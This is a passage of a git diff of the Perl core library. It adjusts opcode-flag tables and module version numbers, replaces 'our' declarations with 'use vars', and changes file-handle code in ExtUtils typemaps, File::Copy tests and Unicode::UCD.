OPpHUSH_VMSISH => 'HUSH', - OPpINDEX_BOOLNEG => 'NEG', OPpITER_DEF => 'DEF', OPpITER_REVERSED => 'REVERSED', - OPpKVSLICE => 'KVSLICE', OPpLIST_GUESSED => 'GUESSED', OPpLVALUE => 'LV', OPpLVAL_DEFER => 'LVDEFER', @@ -757,9 +741,6 @@ our %labels = ( OPpMAYBE_LVSUB => 'LVSUB', OPpMAYBE_TRUEBOOL => 'BOOL?', OPpMAY_RETURN_CONSTANT => 'CONST', - OPpMULTICONCAT_APPEND => 'APPEND', - OPpMULTICONCAT_FAKE => 'FAKE', - OPpMULTICONCAT_STRINGIFY => 'STRINGIFY', OPpMULTIDEREF_DELETE => 'DELETE', OPpMULTIDEREF_EXISTS => 'EXISTS', OPpOFFBYONE => '+1', @@ -768,22 +749,20 @@ our %labels = ( OPpOPEN_OUT_CRLF => 'OUTCR', OPpOPEN_OUT_RAW => 'OUTBIN', OPpOUR_INTRO => 'OURINTR', - OPpPADHV_ISKEYS => 'KEYS', OPpPAD_STATE => 'STATE', OPpPV_IS_UTF8 => 'UTF', OPpREFCOUNTED => 'REFC', OPpREPEAT_DOLIST => 'DOLIST', OPpREVERSE_INPLACE => 'INPLACE', - OPpRV2HV_ISKEYS => 'KEYS', OPpSLICE => 'SLICE', OPpSLICEWARNING => 'SLICEWARN', OPpSORT_DESCEND => 'DESC', OPpSORT_INPLACE => 'INPLACE', OPpSORT_INTEGER => 'INT', OPpSORT_NUMERIC => 'NUM', + OPpSORT_QSORT => 'QSORT', OPpSORT_REVERSE => 'REV', OPpSORT_STABLE => 'STABLE', - OPpSORT_UNSTABLE => 'UNSTABLE', OPpSPLIT_ASSIGN => 'ASSIGN', OPpSPLIT_IMPLIM => 'IMPLIM', OPpSPLIT_LEX => 'LEX', @@ -804,7 +783,6 @@ our %ops_using = ( OPpALLOW_FAKE => [qw(rv2gv)], OPpASSIGN_BACKWARDS => [qw(sassign)], OPpASSIGN_COMMON_AGG => [qw(aassign)], - OPpCONCAT_NESTED => [qw(concat)], OPpCONST_BARE => [qw(const)], OPpCOREARGS_DEREF1 => [qw(coreargs)], OPpEARLY_CV => [qw(gv)], @@ -818,42 +796,36 @@ our %ops_using = ( OPpFT_AFTER_t => [qw(ftatime ftbinary ftblk ftchr ftctime ftdir fteexec fteowned fteread ftewrite ftfile ftis ftlink ftmtime ftpipe ftrexec ftrowned ftrread ftrwrite ftsgid ftsize ftsock ftsuid ftsvtx fttext fttty ftzero)], OPpHINT_STRICT_REFS => [qw(entersub multideref rv2av rv2cv rv2gv rv2hv rv2sv)], OPpHUSH_VMSISH => [qw(dbstate nextstate)], - OPpINDEX_BOOLNEG => [qw(index rindex)], OPpITER_DEF => [qw(enteriter)], OPpITER_REVERSED => [qw(enteriter iter)], - OPpKVSLICE => [qw(delete)], OPpLIST_GUESSED => [qw(list)], OPpLVALUE => [qw(leave leaveloop)], OPpLVAL_DEFER => [qw(aelem helem multideref)], - OPpLVAL_INTRO => [qw(aelem aslice cond_expr delete enteriter entersub gvsv helem hslice list lvavref lvref lvrefslice multiconcat multideref padav padhv padrange padsv pushmark refassign rv2av rv2gv rv2hv rv2sv split)], + OPpLVAL_INTRO => [qw(aelem aslice cond_expr delete enteriter entersub gvsv helem hslice list lvavref lvref lvrefslice multideref padav padhv padrange padsv pushmark refassign rv2av rv2gv rv2hv rv2sv split)], OPpLVREF_ELEM => [qw(lvref refassign)], - OPpMAYBE_LVSUB => [qw(aassign aelem akeys aslice av2arylen avhvswitch helem hslice keys kvaslice kvhslice multideref padav padhv pos rv2av rv2gv rv2hv substr values vec)], - OPpMAYBE_TRUEBOOL => [qw(padhv ref rv2hv)], - OPpMULTICONCAT_APPEND => [qw(multiconcat)], + OPpMAYBE_LVSUB => [qw(aassign aelem akeys aslice av2arylen avhvswitch helem hslice keys kvaslice kvhslice multideref padav padhv pos rv2av rv2gv rv2hv substr vec)], + OPpMAYBE_TRUEBOOL => [qw(padhv rv2hv)], OPpMULTIDEREF_DELETE => [qw(multideref)], OPpOFFBYONE => [qw(caller runcv wantarray)], OPpOPEN_IN_CRLF => [qw(backtick open)], OPpOUR_INTRO => [qw(enteriter gvsv rv2av rv2hv rv2sv split)], - OPpPADHV_ISKEYS => [qw(padhv)], OPpPAD_STATE => [qw(lvavref lvref padav padhv padsv pushmark refassign)], OPpPV_IS_UTF8 => [qw(dump goto last next redo)], OPpREFCOUNTED => [qw(leave leaveeval leavesub leavesublv leavewrite)], OPpREPEAT_DOLIST => [qw(repeat)], OPpREVERSE_INPLACE => [qw(reverse)], - OPpRV2HV_ISKEYS => [qw(rv2hv)], + OPpSLICE => [qw(delete)], OPpSLICEWARNING => [qw(aslice hslice padav padhv rv2av rv2hv)], OPpSORT_DESCEND => [qw(sort)], OPpSPLIT_ASSIGN => [qw(split)], OPpSUBSTR_REPL_FIRST => [qw(substr)], - OPpTARGET_MY => [qw(abs add atan2 chdir chmod chomp chown chr chroot concat cos crypt divide exec exp flock getpgrp getppid getpriority hex i_add i_divide i_modulo i_multiply i_subtract index int kill left_shift length link log mkdir modulo multiconcat multiply nbit_and nbit_or nbit_xor ncomplement oct ord pow push rand rename right_shift rindex rmdir schomp scomplement setpgrp setpriority sin sleep sqrt srand stringify subtract symlink system time unlink unshift utime wait waitpid)], + OPpTARGET_MY => [qw(abs add atan2 chdir chmod chomp chown chr chroot concat cos crypt divide exec exp flock getpgrp getppid getpriority hex i_add i_divide i_modulo i_multiply i_subtract index int kill left_shift length link log mkdir modulo multiply nbit_and nbit_or nbit_xor ncomplement oct ord pow push rand rename right_shift rindex rmdir schomp scomplement setpgrp setpriority sin sleep sqrt srand stringify subtract symlink system time unlink unshift utime wait waitpid)], OPpTRANS_COMPLEMENT => [qw(trans transr)], - OPpTRUEBOOL => [qw(grepwhile index length padav padhv pos ref rindex rv2av rv2hv subst)], ); $ops_using{OPpASSIGN_COMMON_RC1} = $ops_using{OPpASSIGN_COMMON_AGG}; $ops_using{OPpASSIGN_COMMON_SCALAR} = $ops_using{OPpASSIGN_COMMON_AGG}; $ops_using{OPpASSIGN_CV_TO_GV} = $ops_using{OPpASSIGN_BACKWARDS}; -$ops_using{OPpASSIGN_TRUEBOOL} = $ops_using{OPpASSIGN_COMMON_AGG}; $ops_using{OPpCONST_ENTERED} = $ops_using{OPpCONST_BARE}; $ops_using{OPpCONST_NOVER} = $ops_using{OPpCONST_BARE}; $ops_using{OPpCONST_SHORTCIRCUIT} = $ops_using{OPpCONST_BARE}; @@ -872,19 +844,16 @@ $ops_using{OPpFT_STACKED} = $ops_using{OPpFT_AFTER_t}; $ops_using{OPpFT_STACKING} = $ops_using{OPpFT_AFTER_t}; $ops_using{OPpLVREF_ITER} = $ops_using{OPpLVREF_ELEM}; $ops_using{OPpMAY_RETURN_CONSTANT} = $ops_using{OPpENTERSUB_NOPAREN}; -$ops_using{OPpMULTICONCAT_FAKE} = $ops_using{OPpMULTICONCAT_APPEND}; -$ops_using{OPpMULTICONCAT_STRINGIFY} = $ops_using{OPpMULTICONCAT_APPEND}; $ops_using{OPpMULTIDEREF_EXISTS} = $ops_using{OPpMULTIDEREF_DELETE}; $ops_using{OPpOPEN_IN_RAW} = $ops_using{OPpOPEN_IN_CRLF}; $ops_using{OPpOPEN_OUT_CRLF} = $ops_using{OPpOPEN_IN_CRLF}; $ops_using{OPpOPEN_OUT_RAW} = $ops_using{OPpOPEN_IN_CRLF}; -$ops_using{OPpSLICE} = $ops_using{OPpKVSLICE}; $ops_using{OPpSORT_INPLACE} = $ops_using{OPpSORT_DESCEND}; $ops_using{OPpSORT_INTEGER} = $ops_using{OPpSORT_DESCEND}; $ops_using{OPpSORT_NUMERIC} = $ops_using{OPpSORT_DESCEND}; +$ops_using{OPpSORT_QSORT} = $ops_using{OPpSORT_DESCEND}; $ops_using{OPpSORT_REVERSE} = $ops_using{OPpSORT_DESCEND}; $ops_using{OPpSORT_STABLE} = $ops_using{OPpSORT_DESCEND}; -$ops_using{OPpSORT_UNSTABLE} = $ops_using{OPpSORT_DESCEND}; $ops_using{OPpSPLIT_IMPLIM} = $ops_using{OPpSPLIT_ASSIGN}; $ops_using{OPpSPLIT_LEX} = $ops_using{OPpSPLIT_ASSIGN}; $ops_using{OPpTRANS_DELETE} = $ops_using{OPpTRANS_COMPLEMENT}; @@ -893,5 +862,6 @@ $ops_using{OPpTRANS_GROWS} = $ops_using{OPpTRANS_COMPLEMENT}; $ops_using{OPpTRANS_IDENTICAL} = $ops_using{OPpTRANS_COMPLEMENT}; $ops_using{OPpTRANS_SQUASH} = $ops_using{OPpTRANS_COMPLEMENT}; $ops_using{OPpTRANS_TO_UTF} = $ops_using{OPpTRANS_COMPLEMENT}; +$ops_using{OPpTRUEBOOL} = $ops_using{OPpMAYBE_TRUEBOOL}; # ex: set ro: diff --git a/lib/Benchmark.t b/lib/Benchmark.t index 523618f57636..4bf01b222e45 100644 --- a/lib/Benchmark.t +++ b/lib/Benchmark.t @@ -7,7 +7,7 @@ BEGIN { use warnings; use strict; -our ($foo, $bar, $baz, $ballast); +use vars qw($foo $bar $baz $ballast); use Test::More tests => 213; use Benchmark qw(:all); diff --git a/lib/Config/Extensions.pm b/lib/Config/Extensions.pm index 5c241e97aea9..82fb9e09e89e 100644 --- a/lib/Config/Extensions.pm +++ b/lib/Config/Extensions.pm @@ -1,10 +1,10 @@ package Config::Extensions; use strict; -our (%Extensions, $VERSION, @ISA, @EXPORT_OK); +use vars qw(%Extensions $VERSION @ISA @EXPORT_OK); use Config; require Exporter; -$VERSION = '0.02'; +$VERSION = '0.01'; @ISA = 'Exporter'; @EXPORT_OK = '%Extensions'; diff --git a/lib/DirHandle.pm b/lib/DirHandle.pm index bebce9f5ce2c..7493c00a5422 100644 --- a/lib/DirHandle.pm +++ b/lib/DirHandle.pm @@ -1,40 +1,29 @@ package DirHandle; -our $VERSION = '1.05'; +our $VERSION = '1.04'; =head1 NAME -DirHandle - (obsolete) supply object methods for directory handles +DirHandle - supply object methods for directory handles =head1 SYNOPSIS - # recommended approach since Perl 5.6: do not use DirHandle - if (opendir my $d, '.') { - while (readdir $d) { something($_); } - rewind $d; - while (readdir $d) { something_else($_); } - } - - # how you would use this module if you were going to use DirHandle; - if (my $d = DirHandle->new(".")) { + $d = DirHandle->new("."); + if (defined $d) { while (defined($_ = $d->read)) { something($_); } $d->rewind; while (defined($_ = $d->read)) { something_else($_); } + undef $d; } =head1 DESCRIPTION -B - The C method provide an alternative interface to the opendir(), closedir(), readdir(), and rewinddir() functions. -Up to Perl 5.5, opendir() could not autovivify a directory handle from -C, so using a lexical handle required using a function from L -to create an anonymous glob, which took a separate step. -C encapsulates this, which allowed cleaner code than opendir(). -Since Perl 5.6, opendir() alone has been all you need for lexical handles. +The only objective benefit to using C is that it avoids +namespace pollution by creating globs to hold directory handles. =cut diff --git a/lib/ExtUtils/Embed.pm b/lib/ExtUtils/Embed.pm index e75e41f8c484..b26bf7382e03 100644 --- a/lib/ExtUtils/Embed.pm +++ b/lib/ExtUtils/Embed.pm @@ -3,19 +3,22 @@ require Exporter; use Config; require File::Spec; -our ( @Extensions, $opt_o, $opt_s ); +use vars qw(@ISA @EXPORT $VERSION + @Extensions $Verbose $lib_ext + $opt_o $opt_s + ); use strict; # This is not a dual-life module, so no need for development version numbers -our $VERSION = '1.35'; +$VERSION = '1.34'; -our @ISA = qw(Exporter); -our @EXPORT = qw(&xsinit &ldopts +@ISA = qw(Exporter); +@EXPORT = qw(&xsinit &ldopts &ccopts &ccflags &ccdlflags &perl_inc &xsi_header &xsi_protos &xsi_body); -our $Verbose = 0; -our $lib_ext = $Config{lib_ext} || '.a'; +$Verbose = 0; +$lib_ext = $Config{lib_ext} || '.a'; sub is_cmd { $0 eq '-e' } diff --git a/lib/ExtUtils/XSSymSet.pm b/lib/ExtUtils/XSSymSet.pm index 29192d8702b6..0dee12da92ca 100644 --- a/lib/ExtUtils/XSSymSet.pm +++ b/lib/ExtUtils/XSSymSet.pm @@ -2,7 +2,8 @@ package ExtUtils::XSSymSet; use strict; use Config; -our $VERSION = '1.4'; +use vars qw( $VERSION ); +$VERSION = '1.3'; sub new { diff --git a/lib/ExtUtils/typemap b/lib/ExtUtils/typemap index db700b75bf61..4bfba95e9e0b 100644 --- a/lib/ExtUtils/typemap +++ b/lib/ExtUtils/typemap @@ -398,9 +398,8 @@ T_ARRAY } T_STDIO { - GV *gv = (GV *)sv_newmortal(); + GV *gv = newGVgen("$Package"); PerlIO *fp = PerlIO_importFILE($var,0); - gv_init_pvn(gv, gv_stashpvs("$Package",1),"__ANONIO__",10,0); if ( fp && do_open(gv, "+<&", 3, FALSE, 0, 0, fp) ) { SV *rv = newRV_inc((SV*)gv); rv = sv_bless(rv, GvSTASH(gv)); @@ -412,8 +411,7 @@ T_STDIO } T_IN { - GV *gv = (GV *)sv_newmortal(); - gv_init_pvn(gv, gv_stashpvs("$Package",1),"__ANONIO__",10,0); + GV *gv = newGVgen("$Package"); if ( do_open(gv, "<&", 2, FALSE, 0, 0, $var) ) { SV *rv = newRV_inc((SV*)gv); rv = sv_bless(rv, GvSTASH(gv)); @@ -425,8 +423,7 @@ T_IN } T_INOUT { - GV *gv = (GV *)sv_newmortal(); - gv_init_pvn(gv, gv_stashpvs("$Package",1),"__ANONIO__",10,0); + GV *gv = newGVgen("$Package"); if ( do_open(gv, "+<&", 3, FALSE, 0, 0, $var) ) { SV *rv = newRV_inc((SV*)gv); rv = sv_bless(rv, GvSTASH(gv)); @@ -438,8 +435,7 @@ T_INOUT } T_OUT { - GV *gv = (GV *)sv_newmortal(); - gv_init_pvn(gv, gv_stashpvs("$Package",1),"__ANONIO__",10,0); + GV *gv = newGVgen("$Package"); if ( do_open(gv, "+>&", 3, FALSE, 0, 0, $var) ) { SV *rv = newRV_inc((SV*)gv); rv = sv_bless(rv, GvSTASH(gv)); diff --git a/lib/File/Copy.pm b/lib/File/Copy.pm index b796451e37aa..47e6429771a7 100644 --- a/lib/File/Copy.pm +++ b/lib/File/Copy.pm @@ -16,15 +16,13 @@ use Config; # And then we need these games to avoid loading overload, as that will # confuse miniperl during the bootstrap of perl. my $Scalar_Util_loaded = eval q{ require Scalar::Util; require overload; 1 }; -# We want HiRes stat and utime if available -BEGIN { eval q{ use Time::HiRes qw( stat utime ) } }; our(@ISA, @EXPORT, @EXPORT_OK, $VERSION, $Too_Big, $Syscopy_is_copy); sub copy; sub syscopy; sub cp; sub mv; -$VERSION = '2.33'; +$VERSION = '2.32'; require Exporter; @ISA = qw(Exporter); diff --git a/lib/File/Copy.t b/lib/File/Copy.t index 57d9478a68b8..05590b262f62 100644 --- a/lib/File/Copy.t +++ b/lib/File/Copy.t @@ -24,11 +24,6 @@ BEGIN { *CORE::GLOBAL::rename = sub { CORE::rename($_[0], $_[1]) }; } use File::Copy qw(copy move cp); use Config; -# If we have Time::HiRes, File::Copy loaded it for us. -BEGIN { - eval { Time::HiRes->import(qw( stat utime )) }; - note "Testing Time::HiRes::utime support" unless $@; -} foreach my $code ("copy()", "copy('arg')", "copy('arg', 'arg', 'arg', 'arg')", "move()", "move('arg')", "move('arg', 'arg', 'arg')" @@ -71,14 +66,12 @@ for my $cross_partition_test (0..1) { unlink "copy-$$" or die "unlink: $!"; open(F, "<", "file-$$"); - binmode F; copy(*F, "copy-$$"); - open(R, "<:raw", "copy-$$") or die "open copy-$$: $!"; $foo = ; close(R); + open(R, "<", "copy-$$") or die "open copy-$$: $!"; $foo = ; close(R); is $foo, "ok\n", 'copy(*F, fn): same contents'; unlink "copy-$$" or die "unlink: $!"; open(F, "<", "file-$$"); - binmode F; copy(\*F, "copy-$$"); close(F) or die "close: $!"; open(R, "<", "copy-$$") or die; $foo = ; close(R) or die "close: $!"; @@ -107,7 +100,7 @@ for my $cross_partition_test (0..1) { ok -e "copy-$$", ' target still there'; # Doesn't really matter what time it is as long as its not now. - my $time = 1000000000.12345; + my $time = 1000000000; utime( $time, $time, "copy-$$" ); # Recheck the mtime rather than rely on utime in case we're on a @@ -352,7 +345,6 @@ SKIP: { chmod $c_perm3 => $copy6 or die $!; open my $fh => "<", $src or die $!; - binmode $fh; copy ($src, $copy1); copy ($fh, $copy2); @@ -473,8 +465,6 @@ SKIP: { open(my $IN, "-|") || exec $^X, '-e', 'print "Hello, world!\n"'; open(my $OUT, "|-") || exec $^X, '-ne', 'exit(/Hello/ ? 55 : 0)'; - binmode $IN; - binmode $OUT; ok(copy($IN, $OUT), "copy pipe to another"); close($OUT); diff --git a/lib/File/stat.pm b/lib/File/stat.pm index 578c3118c865..b631fbf87523 100644 --- a/lib/File/stat.pm +++ b/lib/File/stat.pm @@ -10,16 +10,9 @@ BEGIN { *warnif = \&warnings::warnif } our(@EXPORT, @EXPORT_OK, %EXPORT_TAGS); -our $VERSION = '1.08'; - -our @fields; -our ( $st_dev, $st_ino, $st_mode, - $st_nlink, $st_uid, $st_gid, - $st_rdev, $st_size, - $st_atime, $st_mtime, $st_ctime, - $st_blksize, $st_blocks -); +our $VERSION = '1.07'; +my @fields; BEGIN { use Exporter (); @EXPORT = qw(stat lstat); @@ -32,6 +25,7 @@ BEGIN { @EXPORT_OK = ( @fields, "stat_cando" ); %EXPORT_TAGS = ( FIELDS => [ @fields, @EXPORT ] ); } +use vars @fields; use Fcntl qw(S_IRUSR S_IWUSR S_IXUSR); diff --git a/lib/Net/hostent.pm b/lib/Net/hostent.pm index 8831919fb439..3a2fc0138776 100644 --- a/lib/Net/hostent.pm +++ b/lib/Net/hostent.pm @@ -2,14 +2,8 @@ package Net::hostent; use strict; use 5.006_001; -our $VERSION = '1.02'; -our (@EXPORT, @EXPORT_OK, %EXPORT_TAGS); -our ( - $h_name, @h_aliases, - $h_addrtype, $h_length, - @h_addr_list, $h_addr -); - +our $VERSION = '1.01'; +our(@EXPORT, @EXPORT_OK, %EXPORT_TAGS); BEGIN { use Exporter (); @EXPORT = qw(gethostbyname gethostbyaddr gethost); @@ -20,6 +14,7 @@ BEGIN { ); %EXPORT_TAGS = ( FIELDS => [ @EXPORT_OK, @EXPORT ] ); } +use vars @EXPORT_OK; # Class::Struct forbids use of @ISA sub import { goto &Exporter::import } diff --git a/lib/Net/netent.pm b/lib/Net/netent.pm index b21c5d11b860..f7d32cb92542 100644 --- a/lib/Net/netent.pm +++ b/lib/Net/netent.pm @@ -2,13 +2,8 @@ package Net::netent; use strict; use 5.006_001; -our $VERSION = '1.01'; +our $VERSION = '1.00'; our(@EXPORT, @EXPORT_OK, %EXPORT_TAGS); -our ( - $n_name, @n_aliases, - $n_addrtype, $n_net -); - BEGIN { use Exporter (); @EXPORT = qw(getnetbyname getnetbyaddr getnet); @@ -18,6 +13,7 @@ BEGIN { ); %EXPORT_TAGS = ( FIELDS => [ @EXPORT_OK, @EXPORT ] ); } +use vars @EXPORT_OK; # Class::Struct forbids use of @ISA sub import { goto &Exporter::import } diff --git a/lib/Net/protoent.pm b/lib/Net/protoent.pm index cef20fbd0b0a..2cbccad3cbc3 100644 --- a/lib/Net/protoent.pm +++ b/lib/Net/protoent.pm @@ -2,15 +2,15 @@ package Net::protoent; use strict; use 5.006_001; -our $VERSION = '1.01'; +our $VERSION = '1.00'; our(@EXPORT, @EXPORT_OK, %EXPORT_TAGS); -our ( $p_name, @p_aliases, $p_proto ); BEGIN { use Exporter (); @EXPORT = qw(getprotobyname getprotobynumber getprotoent getproto); @EXPORT_OK = qw( $p_name @p_aliases $p_proto ); %EXPORT_TAGS = ( FIELDS => [ @EXPORT_OK, @EXPORT ] ); } +use vars @EXPORT_OK; # Class::Struct forbids use of @ISA sub import { goto &Exporter::import } diff --git a/lib/Net/servent.pm b/lib/Net/servent.pm index a3b2bad2c2b1..78a168145557 100644 --- a/lib/Net/servent.pm +++ b/lib/Net/servent.pm @@ -2,15 +2,15 @@ package Net::servent; use strict; use 5.006_001; -our $VERSION = '1.02'; +our $VERSION = '1.01'; our(@EXPORT, @EXPORT_OK, %EXPORT_TAGS); -our ( $s_name, @s_aliases, $s_port, $s_proto ); BEGIN { use Exporter (); @EXPORT = qw(getservbyname getservbyport getservent getserv); @EXPORT_OK = qw( $s_name @s_aliases $s_port $s_proto ); %EXPORT_TAGS = ( FIELDS => [ @EXPORT_OK, @EXPORT ] ); } +use vars @EXPORT_OK; # Class::Struct forbids use of @ISA sub import { goto &Exporter::import } diff --git a/lib/Tie/Array.pm b/lib/Tie/Array.pm index 192983b42878..e0516a2f3019 100644 --- a/lib/Tie/Array.pm +++ b/lib/Tie/Array.pm @@ -3,7 +3,7 @@ package Tie::Array; use 5.006_001; use strict; use Carp; -our $VERSION = '1.07'; +our $VERSION = '1.06'; # Pod documentation after __END__ below. @@ -83,7 +83,8 @@ sub DELETE { } package Tie::StdArray; -our @ISA = 'Tie::Array'; +use vars qw(@ISA); +@ISA = 'Tie::Array'; sub TIEARRAY { bless [], $_[0] } sub FETCHSIZE { scalar @{$_[0]} } diff --git a/lib/Tie/Scalar.t b/lib/Tie/Scalar.t index 4a6fcfa5269d..9be536f8b3e5 100644 --- a/lib/Tie/Scalar.t +++ b/lib/Tie/Scalar.t @@ -9,13 +9,14 @@ BEGIN { package TieTest; use Tie::Scalar; -our @ISA = qw( Tie::Scalar ); +use vars qw( @ISA ); +@ISA = qw( Tie::Scalar ); sub new { 'Fooled you.' } package main; -our $flag; +use vars qw( $flag ); use Test::More tests => 16; use_ok( 'Tie::Scalar' ); diff --git a/lib/Tie/StdHandle.pm b/lib/Tie/StdHandle.pm index dfb86634f05f..0c58b706e408 100644 --- a/lib/Tie/StdHandle.pm +++ b/lib/Tie/StdHandle.pm @@ -3,8 +3,9 @@ package Tie::StdHandle; use strict; use Tie::Handle; -our @ISA = 'Tie::Handle'; -our $VERSION = '4.5'; +use vars qw(@ISA $VERSION); +@ISA = 'Tie::Handle'; +$VERSION = '4.4'; =head1 NAME diff --git a/lib/Time/gmtime.pm b/lib/Time/gmtime.pm index 99f470be51fc..eb5b371a0049 100644 --- a/lib/Time/gmtime.pm +++ b/lib/Time/gmtime.pm @@ -4,12 +4,7 @@ use 5.006_001; use Time::tm; -our (@ISA, @EXPORT, @EXPORT_OK, %EXPORT_TAGS, $VERSION); -our ( $tm_sec, $tm_min, $tm_hour, $tm_mday, - $tm_mon, $tm_year, $tm_wday, $tm_yday, - $tm_isdst, -); - +our(@ISA, @EXPORT, @EXPORT_OK, %EXPORT_TAGS, $VERSION); BEGIN { use Exporter (); @ISA = qw(Exporter Time::tm); @@ -20,8 +15,9 @@ BEGIN { $tm_isdst ); %EXPORT_TAGS = ( FIELDS => [ @EXPORT_OK, @EXPORT ] ); - $VERSION = 1.04; + $VERSION = 1.03; } +use vars @EXPORT_OK; sub populate (@) { return unless @_; diff --git a/lib/Time/localtime.pm b/lib/Time/localtime.pm index f2ef08403832..c3d9fb36085c 100644 --- a/lib/Time/localtime.pm +++ b/lib/Time/localtime.pm @@ -4,13 +4,7 @@ use 5.006_001; use Time::tm; -our (@ISA, @EXPORT, @EXPORT_OK, %EXPORT_TAGS, $VERSION); -our ( - $tm_sec, $tm_min, $tm_hour, $tm_mday, - $tm_mon, $tm_year, $tm_wday, $tm_yday, - $tm_isdst -); - +our(@ISA, @EXPORT, @EXPORT_OK, %EXPORT_TAGS, $VERSION); BEGIN { use Exporter (); @ISA = qw(Exporter Time::tm); @@ -21,8 +15,9 @@ BEGIN { $tm_isdst ); %EXPORT_TAGS = ( FIELDS => [ @EXPORT_OK, @EXPORT ] ); - $VERSION = 1.03; + $VERSION = 1.02; } +use vars @EXPORT_OK; sub populate (@) { return unless @_; diff --git a/lib/Unicode/UCD.pm b/lib/Unicode/UCD.pm index 0bb966704a07..42d376eff6b2 100644 --- a/lib/Unicode/UCD.pm +++ b/lib/Unicode/UCD.pm @@ -5,7 +5,7 @@ use warnings; no warnings 'surrogate'; # surrogates can be inputs to this use charnames (); -our $VERSION = '0.71'; +our $VERSION = '0.69'; require Exporter; @@ -140,18 +140,28 @@ Note that the largest code point in Unicode is U+10FFFF. =cut +my $BLOCKSFH; +my $VERSIONFH; +my $CASEFOLDFH; +my $CASESPECFH; +my $NAMEDSEQFH; my $v_unicode_version; # v-string. sub openunicode { - my (@path) = @_; - my $rfh; - for my $d (@INC) { - use File::Spec; - my $f = File::Spec->catfile($d, "unicore", @path); - return $rfh if open($rfh, '<', $f); + my ($rfh, @path) = @_; + my $f; + unless (defined $$rfh) { + for my $d (@INC) { + use File::Spec; + $f = File::Spec->catfile($d, "unicore", @path); + last if open($$rfh, '<', $f); + undef $f; + } + croak __PACKAGE__, ": failed to find ", + File::Spec->catfile(@path), " in @INC" + unless defined $f; } - croak __PACKAGE__, ": failed to find ", - File::Spec->catfile("unicore", @path), " in @INC"; + return $f; } sub _dclone ($) { # Use Storable::dclone if available; otherwise emulate it. @@ -689,14 +699,14 @@ that are internal-only. =cut -sub charprop ($$;$) { - my ($input_cp, $prop, $internal_ok) = @_; +sub charprop ($$) { + my ($input_cp, $prop) = @_; my $cp = _getcode($input_cp); croak __PACKAGE__, "::charprop: unknown code point '$input_cp'" unless defined $cp; my ($list_ref, $map_ref, $format, $default) - = prop_invmap($prop, $internal_ok); + = prop_invmap($prop); return undef unless defined $list_ref; my $i = search_invlist($list_ref, $cp); @@ -870,11 +880,10 @@ sub _charblocks { push @BLOCKS, $subrange; push @{$BLOCKS{'No_Block'}}, $subrange; } - else { - my $blocksfh = openunicode("Blocks.txt"); + elsif (openunicode(\$BLOCKSFH, "Blocks.txt")) { local $_; local $/ = "\n"; - while (<$blocksfh>) { + while (<$BLOCKSFH>) { # Old versions used a different syntax to mark the range. $_ =~ s/;\s+/../ if $v_unicode_version lt v3.1.0; @@ -886,6 +895,7 @@ sub _charblocks { push @{$BLOCKS{$3}}, $subrange; } } + close($BLOCKSFH); if (! IS_ASCII_PLATFORM) { # The first two blocks, through 0xFF, are wrong on EBCDIC # platforms. @@ -1638,11 +1648,13 @@ my %CASESPEC; sub _casespec { unless (%CASESPEC) { UnicodeVersion() unless defined $v_unicode_version; - if ($v_unicode_version ge v2.1.8) { - my $casespecfh = openunicode("SpecialCasing.txt"); + if ($v_unicode_version lt v2.1.8) { + %CASESPEC = {}; + } + elsif (openunicode(\$CASESPECFH, "SpecialCasing.txt")) { local $_; local $/ = "\n"; - while (<$casespecfh>) { + while (<$CASESPECFH>) { if (/^([0-9A-F]+); ([0-9A-F]+(?: [0-9A-F]+)*)?; ([0-9A-F]+(?: [0-9A-F]+)*)?; ([0-9A-F]+(?: [0-9A-F]+)*)?; (\w+(?: \w+)*)?/) { my ($hexcode, $lower, $title, $upper, $condition) = @@ -1707,6 +1719,7 @@ sub _casespec { } } } + close($CASESPECFH); } } } @@ -1756,17 +1769,19 @@ my %NAMEDSEQ; sub _namedseq { unless (%NAMEDSEQ) { - my $namedseqfh = openunicode("Name.pl"); - local $_; - local $/ = "\n"; - while (<$namedseqfh>) { - if (/^ [0-9A-F]+ \ /x) { - chomp; - my ($sequence, $name) = split /\t/; - my @s = map { chr(hex($_)) } split(' ', $sequence); - $NAMEDSEQ{$name} = join("", @s); - } - } + if (openunicode(\$NAMEDSEQFH, "Name.pl")) { + local $_; + local $/ = "\n"; + while (<$NAMEDSEQFH>) { + if (/^ [0-9A-F]+ \ /x) { + chomp; + my ($sequence, $name) = split /\t/; + my @s = map { chr(hex($_)) } split(' ', $sequence); + $NAMEDSEQ{$name} = join("", @s); + } + } + close($NAMEDSEQFH); + } } } @@ -1850,18 +1865,14 @@ sub _numeric { my $val = num("123"); my $one_quarter = num("\N{VULGAR FRACTION 1/4}"); - my $val = num("12a", \$valid_length); # $valid_length contains 2 C returns the numeric value of the input Unicode string; or C if it doesn't think the entire string has a completely valid, safe numeric value. -If called with an optional second parameter, a reference to a scalar, C -will set the scalar to the length of any valid initial substring; or to 0 if none. If the string is just one character in length, the Unicode numeric value -is returned if it has one, or C otherwise. If the optional scalar ref -is passed, it would be set to 1 if the return is valid; or 0 if the return is -C. Note that the numeric value returned need not be a whole number. -C, for example returns -0.5. +is returned if it has one, or C otherwise. Note that this need +not be a whole number. C, for +example returns -0.5. =cut @@ -1883,9 +1894,7 @@ is returned. A further restriction is that the digits all have to be of the same form. A half-width digit mixed with a full-width one will return C. The Arabic script has two sets of digits; C will return C unless all the digits in the string come from the same -set. In all cases, the optional scalar ref parameter is set to how -long any valid initial substring of digits is; hence it will be set to the -entire string length if the main return value is not C. +set. C errs on the side of safety, and there may be valid strings of decimal digits that it doesn't recognize. Note that Unicode defines @@ -1909,30 +1918,16 @@ change these into digits, and then call C on the result. # consider those, and return the type in the second # array element. -sub num ($;$) { - my ($string, $retlen_ref) = @_; - - use feature 'unicode_strings'; +sub num { + my $string = $_[0]; _numeric unless %NUMERIC; - $$retlen_ref = 0 if $retlen_ref; # Assume will fail - - my $length = length $string; - return if $length == 0; + my $length = length($string); + return $NUMERIC{ord($string)} if $length == 1; + return if $string =~ /\D/; my $first_ord = ord(substr($string, 0, 1)); - return if ! exists $NUMERIC{$first_ord} - || ! defined $NUMERIC{$first_ord}; - - # Here, we know the first character is numeric my $value = $NUMERIC{$first_ord}; - $$retlen_ref = 1 if $retlen_ref; # Assume only this one is numeric - - return $value if $length == 1; - - # Here, the input is longer than a single character. To be valid, it must - # be entirely decimal digits, which means it must start with one. - return if $string =~ / ^ \D /x; # To be a valid decimal number, it should be in a block of 10 consecutive # characters, whose values are 0, 1, 2, ... 9. Therefore this digit's @@ -1944,8 +1939,7 @@ sub num ($;$) { # release, we verify that this first character is a member of such a # block. That is, that the block of characters surrounding this one # consists of all \d characters whose numeric values are the expected - # ones. If not, then this single character is numeric, but the string as - # a whole is not considered to be. + # ones. UnicodeVersion() unless defined 